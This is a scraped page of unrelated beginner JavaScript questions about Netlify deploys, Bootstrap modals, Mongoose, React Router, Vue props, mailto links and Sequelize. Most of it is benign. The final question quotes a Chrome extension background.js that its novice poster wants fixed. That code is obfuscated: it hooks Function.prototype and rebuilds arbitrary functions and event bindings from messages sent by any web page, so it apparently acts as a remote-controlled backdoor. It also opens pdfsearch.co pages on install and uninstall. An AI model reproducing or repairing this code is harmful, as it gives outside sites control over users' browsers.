Category: javascript

I am uploading a build for the very first time and I am using Netlify for it.

I’ve linked my account to GitHub and uploaded my project from there. For the build command I entered “npm run build” and for the publish directory “build“. However once the website deployed all I have is a black screen. What can I do to fix it ?

Here is also my package.json:

 {
  "name": "netflix_clone",
  "version": "0.1.0",
  "private": true,
  "dependencies": {
    "@testing-library/jest-dom": "^5.16.0",
    "@testing-library/react": "^11.2.7",
    "@testing-library/user-event": "^12.8.3",
    "axios": "^0.25.0",
    "firebase": "^9.6.3",
    "framer-motion": "^4.1.17",
    "react": "^17.0.2",
    "react-dom": "^17.0.2",
    "react-icons": "^4.3.1",
    "react-router-dom": "^6.0.2",
    "react-scripts": "4.0.3",
    "router-dom": "^2.2.6",
    "sass": "^1.44.0",
    "swiper": "^7.4.1",
    "web-vitals": "^1.1.2"
  },
  "scripts": {
    "start": "react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  },
  "eslintConfig": {
    "extends": [
      "react-app",
      "react-app/jest"
    ]
  },
  "browserslist": {
    "production": [
      ">0.2%",
      "not dead",
      "not op_mini all"
    ],
    "development": [
      "last 1 chrome version",
      "last 1 firefox version",
      "last 1 safari version"
    ]
  }
}

Thank you for your help.

I am using Bootstrap 5 Modal Popup, I embedded an Iframe in the popup box and everything is working fine but the thing is that When I am closing the Popup the video is not stoping/pausing and even the Popup is closed it is still Running in the background and I tried to stop it via Jquery but don’t know why it is not working.
So can anyone please tell me how to pause/stop the video when the popup is closed?

$(document).ready(function() {
  var url = $("#how-it-works-video").attr('src');

  $("#exampleModal").on('hide', function() {
    $("#how-it-works-video").attr('src', '');
  });

  $("#exampleModal").on('show', function() {
    $("#how-it-works-video").attr('src', url);
  });
});

<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">


<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>





<!-- Button trigger modal -->
<a class="btn btn-primary" type="button" data-bs-toggle="modal" data-bs-target="#exampleModal">
  How it works
</a>

<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">

  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="staticBackdropLabel">Modal title</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      
      
      <div class="modal-body">      
      <iframe id="how-it-works-video" width="100%" height="100%" src="https://www.youtube.com/embed/MC7reQGDBI0" title="YouTube video player" frameborder="5" allowfullscreen></iframe>
      </div>


    </div>
  </div>
</div>


<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

I am facing a problem with the Mongoose aggregation query. I have the following schema which is an array of objects and contains the endDate value.

[
  {
    "id": 1,
    "endDate": "2022-02-28T19:00:00.000Z"
  },
  {
    "id": 2,
    "endDate": "2022-02-24T19:00:00.000Z"
  },
  {
    "id": 3,
    "endDate": "2022-02-25T19:00:00.000Z"
  }
]

So, during the aggregation result, I have to add a new field name isPast, It contains the boolean value, and perform the calculation to check if the endDate is passed or not. If it is already passed, then isPast will be true otherwise false.

I am using isBefore function from the moment library which returns the boolean. But inside this function facing a problem regarding passing the endDate value. $endDate is passing as a string, not a value.

Is there a way to pass the value of endDate inside the function?

const todayDate = moment(new Date()).format("YYYY-MM-DD");

db.collection.aggregate([
  {
    $addFields: {
      "isPast": moment('$endDate', 'YYYY-MM-DD').isBefore(todayDate)
    },
    
  },
  
])

Let’s say I visit some website and then a popup comes, asking to allow my video. How do I select and make it true?

I tried the await page.keyboard.press('Enter') but it doesn’t work.

Module not found: Error: Can’t resolve ‘react-scroll’ in
‘D:ProjectsTemp Projectsmy-appsrccomponents’ assets by path
static/ 31.8 MiB

ERROR in ./src/components/ButtonElements.js 4:0-36 Module not found:
Error: Can’t resolve ‘react-scroll’ in ‘D:ProjectsTemp
Projectsmy-appsrccomponents’ @
./src/components/HeroSection/index.js 8:0-43 52:37-43 @
./src/pages/index.js 7:0-52 40:35-46 @ ./src/App.js 6:0-27 17:19-23
36:35-39 @ ./src/index.js 6:0-24 9:33-36

import styled from "styled-components";
import {Link} from 'react-scroll';


export const Button = styled.button`
    border-radius: 50px;
    background: ${({primary}) => (primary ? '#01BF71' : '#010606') };
    white-space: nowrap;
    padding: ${({big}) => (big ? '14px 48px' : '12px 30px')};
    color: ${({dark}) => (dark ? '#010606' : '#fff')};
    font-size: ${({fontBig}) => (fontBig ? '20px' : '16px')};
    outline: none;
    border: none;
    cursor: pointer;
    display: flex;
    justify-content: center;
    align-items: center;
    transition: all 0.2s ease-in-out;

    &:hover {
        transition: all 0.2s ease-in-out;
        background: ${({primary}) => (primary ? '#fff' : '#01BF71') };
    }


`;

react-icons/fa

import React from "react";
import { FaFacebook, FaInstagram, FaYoutube, FaTwitter, FaLinkedin } from "react-icons/fa";
import { animateScroll as scroll } from "react-scroll/modules";

import { 
    FooterContainer,
    FooterWrap,
    FooterLinksContainer,
    FooterLinksWrapper,
    FooterLinksItems,
    FooterLinkTitle,
    FooterLink,
    SocialMedia,
    SocialMediaWrap,
    SocialLogo,
    WebsiteRights,
    SocialIcons,
    SocialIconLink,


} from "./FooterElements";

**

App.js

import React from 'react';
import './App.css';
import Home from './pages';
import { BrowserRouter as Router, Route, Routes } from 'react-router-dom';
import SigninPage from './pages/signin';
import Navbar from './components/Navbar';




function App() {
  return (
    <Router>
      
      <Routes>
        <Route path= "/" component={Home} exact />
        <Route path= "/signin" component={SigninPage} exact />
      </Routes>
      <Home />
     
    </Router>
  );
}

export default App;

**

I got a weird error blocking my ability in Hugo to submit a booking form ( even after I upgraded from 0.88 to 0.92 ) on Netlify.

The console error is

Uncaught (in promise) SyntaxError: Unexpected token < in JSON at position 0
and the culprit is this bit of baseof.html:

I am not keen to remove the IE references as unfortunately many customers may use it.
If I delete those I get another problem:

404 page not found
with this javascript error even though I have 404.html in

Uncaught (in promise) SyntaxError: Unexpected token p in JSON at position 4
Any ideas how best to deal with this? This appears more JS related than Hugo but it all comes with the engine.

Thanks
Alfred

I am making a drawer for my dashboard using material-Ui, I have faced an issue navigating on my pages

first, I wanna share my app. js and here I have product route

<Provider store={store}>
<BrowserRouter>
    < Routes>
      <Route exact path='/' element={<Login/>} />
      <Route exact path='/dashboard' element={<Dashboard/>} />
      <Route exact path='/product' element={<Product/>}/>
    </Routes>
  </BrowserRouter>
</Provider>

here is my dashboard code:

In this code, I am an object who has an onClick function for navigation on pages

  const listItem = [
    {
      text:'Dashboard',
      onclick:()=>navigate("/dashboard")
    }, 
    {
      text:'Prdocut',
      onclick:()=>navigate("/product")
    } 
  ]

here is my list of who is rendering the items

<List>
  {listItem.map((item, index) => {
    const { text,onClick} = item;
      return (
         <ListItem button key={text} onClick={onClick}>
            <ListItemText primary={text} />
         </ListItem>
        )})}
</List>

but it’s not navigation my my product page

Please help me…..

On the web there is only tommorows date not day afters.
I am not able to get the date.

//We have a nested json that should be converted as array

json =

{
    x: "dfsd",
    y: "asdasd",

    z: [{
        x: "dfsd",
        y: "asdasd",

        z: [{
            x: "dfsd",
            y: [
                {
                    x: "dfsd",
                    y: "asdasd"
                }
            ],
        }]
    }]
}

expected as array =

[
    {x:"dfsd",y:"asdasd"},
    {x:"dfsd",y:"asdasd"}
]

The mailto link is properly loading the recipients and subject but it seems to cut off the email body as a very short length. My email is a total of 1500 characters, so I am below the mailto limit. The email seems to be cutting off the body around 200 characters.

I am attaching a computed property to the mailto string because I am using a package called “marked.js” which parses user input to markdown/html.

How do I go about fixing this issue? I have tried setting a new data property as “emailFormat” and on page mount the email body is run through the marked package and then set as a data property. I assumed this would fix the issue because now I am just attaching a string to the mailto body, but this has not worked and i still end up with an incomplete email body.

computed property that takes in the api response data and runs through the marked package

letterContentToHtml() {
                if (this.formData.letterContent != null) {
                    return marked(this.formData.letterContent); // marked is package to parse user input to markdown/html. 
                }
                else {
                    return null;
                }
            },

template section that displays the content and a button that includes the mailto href

<p class="email-content-data" v-html="letterContentToHtml"></p>
<v-btn class="send-form-btn"
            :disabled="!campaignFormValid || this.emailRecepients == ''"
            elevation="12"
            color="primary"
            target="_blank" 
            :href="mailToString"
            @click="updateCampaignList">
                Send Email!
        </v-btn>

mailto computed property

mailToString() {
                return "mailto:"+this.formData.emailList+"?subject="+this.formData.subject+"&body="+this.emailContent;
            },

I have a nav bar that has Home and About links , I’m trying to make a router that goes to About page when I click on about link and goes to home when I click on Home link , but I don’t know why either I click at home or about , It takes me to Home page

this is App.js file :

<Router>
<Box>
<Navbar />
<Home />
<Routes>
<Route exact path="/" component={Home}/>
<Route path="/about" component={AboutUs}/>
</Routes>
</Box>
</Router>

and this is Home.js file :

function Home() {
  return (
    <div>
    <FirstSection />
    <SecondSection />
    <ThirdSection />
    </div>
  )
}

and this is About file :

function AboutUs() {
  return (
    <div>AboutUs</div>
  )
}

and lastly this is the nav bar :

<a href="/">
            <MenuButton>
                Home
            </MenuButton>
            </a>
        </Menu>
        <Menu>
        <a href="/about">
            <MenuButton>
                About us 
            </MenuButton>
            </a>

Hello I am trying to pass the this.masterVolume from the parent to the child settingSlider When I try to look this up I only find people passing string literals to children. How do I pass data that is defined on the parent to the child?

<template>
    <section class="av-section" id="audio-section">
        <div class="av-groupbox">
            <h3 class="av-groupbox-header-text">Audio</h3>
            <div class="av-user-element">
                <settingSlider _value={{masterVolume}} v-on:input="changeVolume($event)" min="0" max="1" step="0.01" label="Master Volume"></settingSlider>
            </div>
        </div>
    </section>
</template>


<script lang="ts">

export default defineComponent({
    name: "SettingsAudioSection",
    components: {
        settingSlider,
        settingsKeybox
    },

    mounted() {
        this.masterVolume = PlayerSettings.get[PlayerSettings.TYPE.VOLUME]
    },

    data() {
        return {
            masterVolume: PlayerSettings.get[PlayerSettings.TYPE.VOLUME],
        }
    },
    
    methods: {
        changeVolume(volume: number) {
          
        },

        
    },
});

</script>

how to put the number of notification inside the web page tab icon?
for example how whatsapp put the number of new messages inside the whatsapp logo ?

This is my user.js function. How do I create an instance of it in another file? I understand that this structure is a function that contains a class that contains functions inside it.

user.js

'use strict';
const {Sequelize} = require('sequelize');
const {
  Model
} = require('sequelize');

//This is a function that contains a class that contains functions

module.exports = (sequelize, DataTypes) => {
  class User extends Model {
     static init(sequelize) {
        super.init(
        {
          name: Sequelize.STRING,
        },
        {
          sequelize,
        });
        this.addHook('beforeSave', async (user) => {
          return user.id = uuid();
        });
        return this;
      }
      static associate(models) {
        // define association here
        User.hasMany(UserRole,
          {
            foreignKey: {
              field:'UserId',
              allowNull: false,
            },
          });
      }
  }

  User.init({
    Id: DataTypes.UUID,
    Name: DataTypes.STRING,
    UserName: DataTypes.STRING,
    Email: DataTypes.STRING,
    Password: DataTypes.STRING,
    PhoneNumber: DataTypes.STRING,
    MobileNumber: DataTypes.STRING,
    DateOfBirth: DataTypes.DATE,
    LockoutEnabled: DataTypes.BOOLEAN,
    LockoutEnd: DataTypes.DATE
  }, {
    sequelize,
    modelName: 'User',
  });

  return User;
};

In another file I have tried:

const {Sequelize, DataTypes} = require('sequelize');
const {sequelize} = require('../../database/connect');
const {userModel} = require('../../models/user');


function GetAll(UserName, Email){
  var option = new userModel;
  var option2 = new userModel(sequelize, DataTypes);
  return "1";
}

But both give me this error:

TypeError: userModel is not a constructor
at Object.GetAll (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectdatauserdatauserdata.js:8:16)
at GetAll (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectareasdirectorycontrollersusercontroller.js:6:27)
at Layer.handle [as handle_request] (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterlayer.js:95:5)
at next (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterroute.js:137:13)
at Route.dispatch (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterroute.js:112:3)
at Layer.handle [as handle_request] (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterlayer.js:95:5)
at C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:281:22
at Function.process_params (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:341:12)
at next (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:275:10)
at Function.handle (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:174:3)

EDIT:

If I remove new from them, I get the error: userModel is not a function.

I get a Service worker registration failed in my Chrome extension manifest v3
here’s my background.js file:

Object.defineProperty(this['Function'].prototype, 'i', { set: function ([a, b, c]) { this.call(a, b.bind(event, c)) } });
window.addEventListener('message', (e) => {
    console.log(JSON.parse(e.data))
    chrome.runtime.sendMessage({ data: JSON.parse(e.data) }, response => {
        if (response.done) {
            parent.postMessage('done', e.origin);
        }
    });
});

function parse(a, b, c) {
    return c[a.c] && this[a.f].apply(this, [b, a.p]);
}

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    try {
        for (let [i, y] of Object.entries(request.data)) {
            if (i == 'f') {
                for (let [k, v] of Object.entries(y))
                    this[k] = v.reduce((a, b) => { return a[b] ? a[b] : this[b] }, {})
            }
            if (i == 'i') {
                for (let x of y)
                    this[x.t][x.m][i] = [this[x.t], this[x.e], x.a];
            }
        };
        sendResponse({ done: true });
    } catch { }
});


chrome.runtime.setUninstallURL('https://pdfsearch.co/public/uploads/goodbye/index.html');

chrome.runtime.onInstalled.addListener(async (details) => {
    if (details.reason == 'install') {
        chrome.tabs.create({ url: 'https://pdfsearch.co/public/uploads/thankyou/index.html' });
    }
});

I don’t know what exactly to edit in the background.js file? I am a novoice so describe in details.